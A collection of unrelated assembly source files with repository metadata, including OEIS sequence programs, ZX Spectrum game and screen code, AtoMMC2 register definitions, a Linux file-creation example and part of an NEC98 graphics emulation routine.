x M MUL ;M ;X:A STA MODL STX MODH LDHX MODH ;A ;768 = b AIX #127 AIX #127 AIX #127 AIX #127 AIX #127 AIX #127 AIX #6; + b STHX TPMC0V ; = y LDA MODH CMP #$08 BGE setLED LDA MODH CMP #$03 BLE setLED BSET 7, PTBD BRA mainLoop pulse: MOV ADCRH, MODH MOV ADCRL, MODL RTS setLED: ;turns the LED1 on BCLR 7, PTBD BRA mainLoop
TheStack
dbedb4b9ae8c37c8be5ebc5b5bae5532fea0cb74
Assemblycode:Assembly
{"size": 871, "ext": "asm", "max_stars_repo_path": "programs/oeis/059/A059169.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/059/A059169.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/059/A059169.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 96.7777777778, "max_line_length": 712, "alphanum_fraction": 0.6590126292}
; A059169: Number of partitions of n into 3 parts which form the sides of a nondegenerate isosceles triangle. ; 0,0,1,0,1,1,2,1,2,2,3,2,3,3,4,3,4,4,5,4,5,5,6,5,6,6,7,6,7,7,8,7,8,8,9,8,9,9,10,9,10,10,11,10,11,11,12,11,12,12,13,12,13,13,14,13,14,14,15,14,15,15,16,15,16,16,17,16,17,17,18,17,18,18,19,18,19,19,20,19,20,20,21,20,21,21,22,21,22,22,23,22,23,23,24,23,24,24,25,24,25,25,26,25,26,26,27,26,27,27,28,27,28,28,29,28,29,29,30,29,30,30,31,30,31,31,32,31,32,32,33,32,33,33,34,33,34,34,35,34,35,35,36,35,36,36,37,36,37,37,38,37,38,38,39,38,39,39,40,39,40,40,41,40,41,41,42,41,42,42,43,42,43,43,44,43,44,44,45,44,45,45,46,45,46,46,47,46,47,47,48,47,48,48,49,48,49,49,50,49,50,50,51,50,51,51,52,51,52,52,53,52,53,53,54,53,54,54,55,54,55,55,56,55,56,56,57,56,57,57,58,57,58,58,59,58,59,59,60,59,60,60,61,60,61,61,62,61,62,62 mov $1,$0 add $0,1 mod $0,4 add $1,$0 div $1,4
TheStack
8df5415762698550e2337db40dc7639a091ec825
Assemblycode:Assembly
{"size": 498, "ext": "asm", "max_stars_repo_path": "programs/oeis/290/A290257.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/290/A290257.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/290/A290257.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"}
{"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 33.2, "max_line_length": 201, "alphanum_fraction": 0.5843373494}
; A290257: a(n) is the size of the Durfee square of the integer partition having viabin number n. ; 1,1,1,1,1,2,1,1,1,2,1,2,2,2,1,1,1,2,1,2,2,2,1,2,2,2,2,3,2,2,1,1,1,2,1,2,2,2,1,2,2,2,2,3,2,2,1,2,2,2,2,3,2,2,2,3,3,3,2,3,2,2,1,1,1,2,1,2,2,2,1,2,2,2,2,3,2,2,1,2,2,2,2,3,2,2,2,3,3,3,2,3,2,2,1,2,2,2,2,3 lpb $0 mov $2,$0 seq $2,167204 ; Triangle read by rows in which row n lists the first 2^(n-1) terms of A003602. mov $0,$2 sub $0,2 mov $3,$2 min $3,1 add $1,$3 lpe add $1,1 mov $0,$1
TheStack
bc719cbd571fe5a4d0ae19e0380ece52e6b3369c
Assemblycode:Assembly
{"size": 6055, "ext": "asm", "max_stars_repo_path": "Source/input.asm", "max_stars_repo_name": "DW0RKiN/3D-Dungeon", "max_stars_repo_stars_event_min_datetime": "2017-09-24T13:06:55.000Z", "max_stars_repo_stars_event_max_datetime": "2020-11-18T20:18:05.000Z", "max_issues_repo_path": "Source/input.asm", "max_issues_repo_name": "DW0RKiN/3D-Dungeon", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Source/input.asm", "max_forks_repo_name": "DW0RKiN/3D-Dungeon", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 8, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 33.6388888889, "max_line_length": 104, "alphanum_fraction": 0.4201486375}
; ===================================================== ; VSTUP: ; cte porty pro KEMPSTON joystick ; VYSTUP: ; A = podvrzeny ascii kod stisknute klavesy ; zero flag kdyz nic nenacetl TEST_KEMPSTON: xor A ; A = novy stav joysticku ld H, A ; H = puvodni stav joystiku ld L, A ; HL = 0 TK_NOVY_STAV: ld B, REPEAT_READING_JOY ; pocet opakovani cteni stavu joysticku po kazde zmene or H ; pridame k puvodnimu stavu novy ld H, A ; ulozime do puvodniho TK_LOOP: halt ; in A, (JOY_PORT) ; cteme stav joysticku and $1F ; odmazem sum v hornich bitech, krome spodnich 5 cp $1F ; je neco stisknuto? ret z ; cp L ; lisi se nove cteni od predchoziho? ld L, A ; posledni cteni do registru "l" jr nz, TK_NOVY_STAV ; lisi se djnz TK_LOOP ; nelisilo se, snizime pocitadlo ld A, H ; vysledny stav do akumulatoru ld HL, DATA_KEMPSTON ; ld B, DATA_KEMPSTON_SUM ; delka tabulky TK_TEST_STAVU: cp (HL) ; je to hledana kombinace inc HL ; nemeni priznaky jr z, TK_SHODNY_STAV ; inc HL ; djnz TK_TEST_STAVU ; TK_SHODNY_STAV: ld A, (HL) ; nahradi stav joysticku ekvivalentnim znakem klavesnice or A ; (not) zero flag ret ; ; ===================================================== ; VSTUP: nic ; VYSTUP: KEYPRESSED: ld DE, TIMER_ADR ld A, (DE) and FLOP_BIT_ATTACK/2 ld B, A ; nastav bit ld HL, LAST_KEY_ADR ; 10:3 23560 = LAST K system variable. KEYPRESSED_NO: ld A, (DE) and FLOP_BIT_ATTACK/2 xor B ret nz ; pokud bit uz neni shodny tak prekresli scenu ld A, (HL) ; 7:1 a = LAST K or a ; 4:1 nula? push hl push bc call z, TEST_KEMPSTON pop bc pop hl jr z,KEYPRESSED_NO ;12/7:2 v tehle smycce bude Z80 nejdelsi dobu... ld b,0 ; 7:2 ld (hl),b ; 7:1 smazem, LAST K = 0 ld HL, (LOCATION) ; 16:3 L=LOCATION, H=VECTOR ld C, H ; 4:1 (VECTOR) ld H, DUNGEON_MAP/256 ; 7:2 HL = aktualni pozice na mape ; Vstup: ; HL = adresa mapy ; C = vektor natoceni ; A = stisknuty znak ; B = 0 = stisknuto_dopredu = offset radku tabulky VEKTORY_POHYBU ld DE, POSUN push DE if ( stisknuto_dopredu = 0 and stisknuto_dozadu = 1 and stisknuto_vlevo = 2 and stisknuto_vpravo = 3 ) cp KEY_DOPREDU ; 7:2, "w" = dopredu ret z inc B ; 4:1 B = stisknuto_dozadu cp KEY_DOZADU ; 7:2, "s" = dozadu ret z inc B ; 4:1 B = stisknuto_vlevo cp KEY_VLEVO ; 7:2, "a" = vlevo ret z inc B ; 4:1 B = stisknuto_vpravo cp KEY_VPRAVO ; 7:2, "d" = vpravo ret z else .warning 'Delsi kod o 4 bajty protoze stisknuto_dopredu..stisknuto_vpravo != 0..3' cp KEY_DOPREDU ; 7:2, "w" = dopredu ret z ld B, stisknuto_dozadu ; 7:2, offset radku tabulky VEKTORY_POHYBU cp KEY_DOZADU ; 7:2, "s" = dozadu ret z ld B, stisknuto_vlevo ; 7:2, offset radku tabulky VEKTORY_POHYBU cp KEY_VLEVO ; 7:2, "a" = vlevo ret z ld B, stisknuto_vpravo ; 7:2, offset radku tabulky VEKTORY_POHYBU cp KEY_VPRAVO ; 7:2, "d" = vpravo ret z endif pop DE ld b,-1 ; 7:2, pouzito pro VECTOR += b cp KEY_DOLEVA ; 7:2, "q" = otoc se vlevo jr z,OTOC_SE ld b,1 ; 7:2, pouzito pro VECTOR += b cp KEY_DOPRAVA ; 7:2, "e" = otoc se vpravo jr z, OTOC_SE cp KEY_SPACE ; 7:2, "mezernik/asi space" = prepnuti paky jp z, PREHOD_PREPINAC cp KEY_INVENTAR ; 7:2 "i" = inventar / hraci jp z,SET_RIGHT_PANEL cp KEY_FHAND ; 7:2 "f" first hand jp z, BOJ cp KEY_SHAND ; 7:2 "g" second hand jp z, BOJ cp 42 ; 7:2 "*" = ctrl+b ( nastavi border pro test synchronizace obrazu ) jp z, SET_BORDER cp 96 ; ctrl+x jr nz, K_NOEXIT ; jina klavesa? pop hl ; zrusim ret call POP_ALL ret ; return to BASIC K_NOEXIT: ld HL, SUM_POSTAV ld DE, NEW_PLAYER_ACTIVE push DE cp KEY_PLUS ; 7:2 "k" = "+" jp z, POSTAVA_PLUS cp KEY_MINUS ; 7:2 "j" = "-" jp z, POSTAVA_MINUS sub '1' ; 0..5? cp (HL) ; 1..6 jp nc, HELP dec HL ; 6:1 HL = HLAVNI_POSTAVA ld (HL), A ; 7:1 nova HLAVNI_POSTAVA ret ; jp NEW_PLAYER_ACTIVE ; ===================================================== SET_BORDER: ld a, (BORDER) xor $07 ld (BORDER), a ret
TheStack
6908be417e113c041181df20ad68b6e91937eb41
Assemblycode:Assembly
{"size": 724, "ext": "asm", "max_stars_repo_path": "oeis/156/A156992.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/156/A156992.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/156/A156992.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 42.5882352941, "max_line_length": 501, "alphanum_fraction": 0.7638121547}
; A156992: Triangle T(n,k) = n!*binomial(n-1, k-1) for 1 <= k <= n, read by rows. ; Submitted by Jon Maiga ; 1,2,2,6,12,6,24,72,72,24,120,480,720,480,120,720,3600,7200,7200,3600,720,5040,30240,75600,100800,75600,30240,5040,40320,282240,846720,1411200,1411200,846720,282240,40320,362880,2903040,10160640,20321280,25401600,20321280,10160640,2903040,362880,3628800,32659200,130636800,304819200,457228800,457228800,304819200,130636800,32659200,3628800,39916800,399168000,1796256000,4790016000,8382528000,10059033600,8382528000,4790016000,1796256000,399168000,39916800,479001600,5269017600,26345088000,79035264000 mov $1,1 mov $2,1 lpb $0 add $0,1 add $1,1 sub $0,$1 mul $2,$1 lpe sub $1,1 bin $1,$0 mul $2,$1 mov $0,$2
TheStack
da6e3b0c67efdf22db0b936df30fa3f1f463596a
Assemblycode:Assembly
{"size": 2896, "ext": "asm", "max_stars_repo_path": "software/atommc2/atmmc2def.asm", "max_stars_repo_name": "AtomicRoland/AtomFpga", "max_stars_repo_stars_event_min_datetime": "2015-01-19T20:53:43.000Z", "max_stars_repo_stars_event_max_datetime": "2021-10-04T18:42:06.000Z", "max_issues_repo_path": "software/atommc2/atmmc2def.asm", "max_issues_repo_name": "AtomicRoland/AtomFpga", "max_issues_repo_issues_event_min_datetime": "2019-06-15T17:10:09.000Z", "max_issues_repo_issues_event_max_datetime": "2019-06-15T17:15:35.000Z", "max_forks_repo_path": "software/atommc2/atmmc2def.asm", "max_forks_repo_name": "AtomicRoland/AtomFpga", "max_forks_repo_forks_event_min_datetime": "2015-02-12T14:38:00.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-09T10:05:34.000Z"}
{"max_stars_count": 25, "max_issues_count": 2, "max_forks_count": 12, "avg_line_length": 28.96, "max_line_length": 100, "alphanum_fraction": 0.4613259669}
; /* ; atmmmc2def.h Symbolic defines for AtoMMC2 ; 2011-05-25, Phill Harvey-Smith. ; // Register definitions, these are offsets from 0xB400 on the Atom side. CMD_REG = $00 LATCH_REG = $01 READ_DATA_REG = $02 WRITE_DATA_REG = $03 STATUS_REG = $04 ; // DIR_CMD_REG commands CMD_DIR_OPEN = $00 CMD_DIR_READ = $01 CMD_DIR_CWD = $02 CMD_DIR_GETCWD = $03 CMD_DIR_MKDIR = $04 CMD_DIR_RMDIR = $05 ; // CMD_REG_COMMANDS CMD_FILE_CLOSE = $10 CMD_FILE_OPEN_READ = $11 CMD_FILE_OPEN_IMG = $12 CMD_FILE_OPEN_WRITE = $13 CMD_FILE_DELETE = $14 CMD_FILE_GETINFO = $15 CMD_INIT_READ = $20 CMD_INIT_WRITE = $21 CMD_READ_BYTES = $22 CMD_WRITE_BYTES = $23 ; // READ_DATA_REG "commands" ; // EXEC_PACKET_REG "commands" CMD_EXEC_PACKET = $3F ; // SDOS_LBA_REG commands CMD_LOAD_PARAM = $40 CMD_GET_IMG_STATUS = $41 CMD_GET_IMG_NAME = $42 CMD_READ_IMG_SEC = $43 CMD_WRITE_IMG_SEC = $44 CMD_SER_IMG_INFO = $45 CMD_VALID_IMG_NAMES = $46 CMD_IMG_UNMOUNT = $47 ; // UTIL_CMD_REG commands CMD_GET_CARD_TYPE = $80 CMD_GET_PORT_DDR = $A0 CMD_SET_PORT_DDR = $A1 CMD_READ_PORT = $A2 CMD_WRITE_PORT = $A3 CMD_GET_FW_VER = $E0 CMD_GET_BL_VER = $E1 CMD_GET_CFG_BYTE = $F0 CMD_SET_CFG_BYTE = $F1 CMD_READ_AUX = $FD CMD_GET_HEARTBEAT = $FE ; // Status codes STATUS_OK = $3F STATUS_COMPLETE = $40 STATUS_BUSY = $80 ERROR_MASK = $3F ; // To be or'd with STATUS_COMPLETE ERROR_NO_DATA = $08 ERROR_INVALID_DRIVE = $09 ERROR_READ_ONLY = $0A ERROR_ALREADY_MOUNT = $0A ; // STATUS_REG bit masks ; // ; // MMC_MCU_BUSY set by a write to CMD_REG by the Atom, cleared by a write by the MCU ; // MMC_MCU_READ set by a write by the Atom (to any reg), cleared by a read by the MCU ; // MCU_MMC_WROTE set by a write by the MCU cleared by a read by the Atom (any reg except status). ; // MMC_MCU_BUSY = $01 MMC_MCU_READ = $02 MMC_MCU_WROTE = $04
TheStack
76ddc56560c54495433ca7cfa43ae3a326008610
Assemblycode:Assembly
{"size": 1005, "ext": "asm", "max_stars_repo_path": "playpen/blank_screen.asm", "max_stars_repo_name": "mjohnsullivan/zxspectrum", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "playpen/blank_screen.asm", "max_issues_repo_name": "mjohnsullivan/zxspectrum", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "playpen/blank_screen.asm", "max_forks_repo_name": "mjohnsullivan/zxspectrum", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 29.5588235294, "max_line_length": 70, "alphanum_fraction": 0.6149253731}
; to compile with Pasmo to tap: ; pasmo -1 --tapbas blank_screen.asm blank_screen.tap >> debug.txt ; to compile with z80asm to tap: ; z80asm +zx blank_screen.asm ; This is where your program starts in RAM. org 40000 ; Clear the screen to black. ; ld a,71 ; INK (0-7) + PAPER (0-7 * 8) + BRIGHT (0/64) ld a,110 ; Yellow ink (6), cyan paper (5 * 8), bright (64). ld (23693),a ; Set our screen (permanent) colours. ; xor a ; Load accumulator with zero. ld a,5 ; Set the colour to cyan (5). call 8859 ; Set permanent border colours. call 3503 ; Clear the screen, open channel 2. ret ; necessary for z80asm ; Pasmo needs this to know where to start running your program from. ; It should be the same as the address you specified at the top! end 40000 ; comment this out for z80asm ; Spectrum colour codes: ; 0 = Black ; 1 = Blue ; 2 = Red ; 3 = Magenta ; 4 = Green ; 5 = Cyan ; 6 = Yellow ; 7 = White
TheStack
25bee0141ed493b6f5f5a0b0739a3b7f287f3ddb
Assemblycode:Assembly
{"size": 1678, "ext": "asm", "max_stars_repo_path": "codigo/capitulo 39/archivo_creacion.asm", "max_stars_repo_name": "Nabucodonosor-editorial/ensamblador-x86", "max_stars_repo_stars_event_min_datetime": "2020-03-19T19:10:21.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-10T16:01:21.000Z", "max_issues_repo_path": "codigo/capitulo 39/archivo_creacion.asm", "max_issues_repo_name": "Nabucodonosor-editorial/ensamblador-x86", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "codigo/capitulo 39/archivo_creacion.asm", "max_forks_repo_name": "Nabucodonosor-editorial/ensamblador-x86", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 2, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 27.064516129, "max_line_length": 71, "alphanum_fraction": 0.6525625745}
segment .data MsgError db "se produjo un error",0xA,0xD ;mensaje en caso de existir ; un error al crear el archivo los numeros hexadecimales son ; equivalentes a los numeros decimales 10 y 13 los cuales ; permiten el salto de linea lon equ $ -MsgError MsgExito db "archivo creado con exito",0xA,0xD lonexito equ $ -MsgExito archivo db "/home/neomatrix/codigo ensamblador/prueba.txt",0 ; ubicacion en el sistema de archivos del archivo a crear y ; y su nombre (prueba.txt), se usa el 0 como indicador ; de fin de cadena segment .bss idarchivo resd 1 segment .text global _start _start: ; creamos y abrimos el archivo mov eax,8 ; indicamos que crearemos un archivo nuevo mov ebx,archivo ; indicamos la ruta y el nombre del archivo mov ecx,640q ; establecemos los permisos del archivo en el ; formato de permisos de linux (octal) ; lectura = 4 ; escritura = 2 (solo para el propietario) ; ejecucion = 1 int 80h cmp eax,0 ; el descriptor de archivo es un numero entero ; no negativo jl error ; de ser negativo ha ocurrido un error mov dword[idarchivo] , eax ; guardamos el descriptor del archivo ; en memoria, para su uso posterior mov eax, 4 mov ebx, 1 mov ecx, MsgExito mov edx, lonexito int 80h ;cierre del archivo mov eax, 6 mov ebx, [idarchivo] ; pasamos el descriptor de archivo int 80h jmp salir error: ; Mostramos el mensaje de error mov eax, 4 mov ebx, 1 mov ecx, MsgError mov edx, lon int 80h salir: mov eax, 1 xor ebx,ebx int 0x80
TheStack
5da9d0cf45cc4c1fe19e6a506905bbdb839594c5
Assemblycode:Assembly
{"size": 2170, "ext": "asm", "max_stars_repo_path": "data05.asm", "max_stars_repo_name": "jinokwon/Basic_x86_Assembly_Lang", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "data05.asm", "max_issues_repo_name": "jinokwon/Basic_x86_Assembly_Lang", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "data05.asm", "max_forks_repo_name": "jinokwon/Basic_x86_Assembly_Lang", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 38.0701754386, "max_line_length": 398, "alphanum_fraction": 0.665437788}
TITLE data05.asm INCLUDE Irvine32.inc .data ;part a) 16 bit long integer in1 WORD 8 ;part b) 7 32 bit long signed integers. I chose arbitrary numbers. ar1 SDWORD +1,-2,+3,-4,+5,-6,+7 ar1Siz = ($-ar1)/4 ;part c) a null terminated string containing: Hel'l'o" Assembly. hi BYTE "Hel'l'o",'" Assembly',0 ;part d) array of 37465 8 bit long integers, all storing 215. ar2 BYTE 37465 DUP(215) .code main PROC ;check the string (hi) prints correctly. mov edx, OFFSET hi call writeString ;part e) the symbolic constants to represent the sizes of your arrays ;I declared 'ar1Siz' right below 'ar1' mov eax, ar1Siz ;should print 7 in EAX call dumpRegs ;part f) Display types, offsets, num of elements, etc. mov eax, TYPE in1 ; display 2 (bytes) in eax mov esi, OFFSET ar1 mov ebx, SIZEOF ar1 ; display 1c (4*7=28) (bytes) in ebx mov ecx, LENGTHOF ar2 ; display 9259 (37465) (=elements) in ecx call dumpRegs COMMENT ! part g) number=4/3+anotherNumber. What are anotherNumber and number? Answer) number is called a symbolic constant, and the ride-side is called expression. anotherNumber would be part of the expression that can be a symbolic constant itself. The symbolic constant can be used in place of a value later in the program. these symbols do not reserve storage (unlike a variable). They are only used by the assembler and can't change at runtime (again, unlike a variable). part h)In a comment, write the way part b is stored in memory. Answer) Taking the numbers I chose arbitrarily above, +1 -2 +3 [0001][0000][0000][0000][FFFE][FFFF][FFFF][FFFF][0003][0000][0000][0000] -4 +5 -6 [FFFC][FFFF][FFFF][FFFF][0005][0000][0000][0000][FFFA][FFFF][FFFF][FFFF] +7 [0007][0000][0000][0000] ! ;part i) print the elements with index 2 and 5 in your array from part b. ; each SDWORD takes up 4 BYTES mov eax, 0 ;clear data mov ebx, 0 ;clear data mov eax, ar1+ 2*4 ;should print +3 in EAX mov ebx, ar1+ 5*4 ;should print FFFA (-6) in EBX call dumpRegs exit main ENDP END main
TheStack
f0c3da5987a6f10fa37f435e10b4ce60b5d30aaa
Assemblycode:Assembly
{"size": 805, "ext": "asm", "max_stars_repo_path": "config.asm", "max_stars_repo_name": "vivi90/snakg", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "config.asm", "max_issues_repo_name": "vivi90/snakg", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "config.asm", "max_forks_repo_name": "vivi90/snakg", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 28.75, "max_line_length": 60, "alphanum_fraction": 0.751552795}
;============================ ; Configuration ;============================ minimalTextMode EQU 01h ; 40x25 chars, 16 colors textMode EQU 03h ; 80x25 chars, 16 colors graphicMode EQU 10h ; 80x25 chars, 640x350 pixels, 16 colors graphicWidth EQU 640 graphicHeight EQU 345 textHeight EQU 25 borderWidth EQU 8 ; 8 pixels (max. 256) snakeWidth EQU 8 ; 8 pixels (max. 256) foodSize EQU 4 ; 8x8 pixels (max. 256x256) backgroundColor EQU black textColor EQU white hintColor EQU whiteblink highscoreColor EQU yellow ownHighscoreColor EQU yellowblink borderColor EQU darkgray snakeBodyColor EQU blue snakeHeadColor EQU green foodColor EQU yellow scoreColor EQU yellow gameOverColor EQU red defaultSnakeLength EQU 8 defaultSnakeDirection EQU right snakeDelay DD 100000 ; 100ms highscoreFile DB "score.sav", 0
TheStack
4ac52564ba29334490e49952fc8ddb6b3d8e30e6
Assemblycode:Assembly
{"size": 34961, "ext": "asm", "max_stars_repo_path": "base/mvdm/softpc.new/base/video/i386/ggdcdraw.asm", "max_stars_repo_name": "npocmaka/Windows-Server-2003", "max_stars_repo_stars_event_min_datetime": "2020-11-13T13:42:52.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-16T09:13:13.000Z", "max_issues_repo_path": "base/mvdm/softpc.new/base/video/i386/ggdcdraw.asm", "max_issues_repo_name": "sancho1952007/Windows-Server-2003", "max_issues_repo_issues_event_min_datetime": "2020-10-19T08:02:06.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-19T08:23:18.000Z", "max_forks_repo_path": "base/mvdm/softpc.new/base/video/i386/ggdcdraw.asm", "max_forks_repo_name": "sancho1952007/Windows-Server-2003", "max_forks_repo_forks_event_min_datetime": "2020-11-14T09:43:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-28T08:59:57.000Z"}
{"max_stars_count": 17, "max_issues_count": 2, "max_forks_count": 14, "avg_line_length": 42.121686747, "max_line_length": 82, "alphanum_fraction": 0.3219015474}
;ifdef NEC98 /* #endif position = EOF */ ;/*:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*/ ;/*:::::::::::::::: NEC98 GGDC Graphic Draw Emulation :::::::::::::::*/ ;/*:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*/ ;/* add making start NEC NEC98 930623 KBNES 1OA */ .386p include ks386.inc include callconv.inc _TEXT SEGMENT DWORD USE32 PUBLIC 'CODE' ASSUME DS:NOTHING, ES:NOTHING, SS:FLAT, FS:NOTHING, GS:NOTHING _TEXT ENDS _DATA SEGMENT DWORD USE32 PUBLIC 'DATA' ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: write_one_word label dword dd offset draw_mov ; replace draw_one_pixel label dword dd offset draw_and ; replace dd offset draw_or ; replace draw_one_word label dword dd offset draw_mov ; replace dd offset draw_xor ; complement dd offset draw_and ; clear dd offset draw_or ; set draw_0_pixel label dword dd offset draw_and ; replace dd offset draw_nop ; complement dd offset draw_nop ; clear dd offset draw_nop ; set draw_1_pixel label dword dd offset draw_or ; replace dd offset draw_xor ; complement dd offset draw_and ; clear dd offset draw_or ; set ggdc_dir_func_pixel label dword dd offset pixel_dir_0 dd offset pixel_dir_1 dd offset pixel_dir_2 dd offset pixel_dir_3 dd offset pixel_dir_4 dd offset pixel_dir_5 dd offset pixel_dir_6 dd offset pixel_dir_7 ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ggdc_dir_func_word label dword dd offset word_dir_0 dd offset word_dir_1 dd offset word_dir_2 dd offset word_dir_3 dd offset word_dir_4 dd offset word_dir_5 dd offset word_dir_6 dd offset word_dir_7 ggdc_VRAM dd 00000000H ggdc_EAD dd 00000000H ggdc_PITCH dd 00000000H ggdc_DIR dd 00000000H ggdc_DC dw 0000H ggdc_D dw 0000H ggdc_D2 dw 0000H ggdc_D1 dw 0000H ggdc_DM dw 0000H ggdc_PTN dw 0000H ggdc_ZOOM dw 0000H ggdc_SL dw 0000H ggdc_WG dw 0000H ggdc_MASKGDC dw 0000H ggdc_TXT label byte db 00H db 00H db 00H db 00H db 00H db 00H db 00H db 00H ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ggdc_MASKCPU dw 0000H ggdc_READ dw 0000H ZOOM1 dw 0000H ZOOM2 dw 0000H ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ggdc_read_back_EAD dd 00000000H ggdc_read_back_DAD dw 0000H ggdc_CSRR_1 db 00H ggdc_CSRR_2 db 00H ggdc_CSRR_3 db 00H ggdc_CSRR_4 db 00H ggdc_CSRR_5 db 00H ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: _DATA ENDS _TEXT SEGMENT ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;:::::::::::::::: NEC98 GGDC Graphic DATA SET :::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: cPublicProc _ggdc_mod_select,1 push ebp ; save ebp mov ebp,esp ; set up stack frame ; ebp - n = local data area ; ebp + 0 = save ebp ; ebp + 4 = return address pushad ; push eax ; save eax reg ; push ebx ; save ebx reg xor ebx,ebx ; ebx = 0 mov eax,[ebp+8] ; parameter 1 = mod data address mov bl,byte ptr[eax] ; set mode mov eax,draw_0_pixel[ebx*4] ; select logic mov [draw_one_pixel][0],eax ; save 1dot 0bit mov eax,draw_1_pixel[ebx*4] ; select logic mov [draw_one_pixel][4],eax ; save 1dot 1bit mov eax,draw_one_word[ebx*4]; select logic mov [write_one_word],eax ; save 1dot 1bit ; pop ebx ; restore ebx ; pop eax ; restore eax popad mov esp,ebp ; restore stack frame pop ebp ; restore ebp stdRET _ggdc_mod_select stdENDP _ggdc_mod_select ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: cPublicProc _ggdc_send_c_asm,1 push ebp mov ebp,esp pushad mov esi,[ebp+8] ; c data area mov edi,offset ggdc_VRAM ; asm data area mov ecx,11 ; move count rep movsd ; 44 bytes data move mov ecx,16 ; mov dx,[ggdc_MASKGDC] ; GGDC mask data @@: rcr dx,1 ; reverse right <-> left rcl ax,1 ; loop short @b ; mov [ggdc_MASKCPU],ax ; use CPU drawing popad pop ebp stdRET _ggdc_send_c_asm stdENDP _ggdc_send_c_asm ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: cPublicProc _ggdc_read_back,1 push ebp mov ebp,esp pushad mov esi,offset ggdc_read_back_EAD ; copy back data mov edi,[ebp+8] ; asm data area mov ecx,11 ; move count rep movsb ; 11 bytes data move popad pop ebp stdRET _ggdc_read_back stdENDP _ggdc_read_back ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;:::::::::::::::::: NEC98 GGDC Graphic Draw LINE ::::::::::::::::: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: cPublicProc 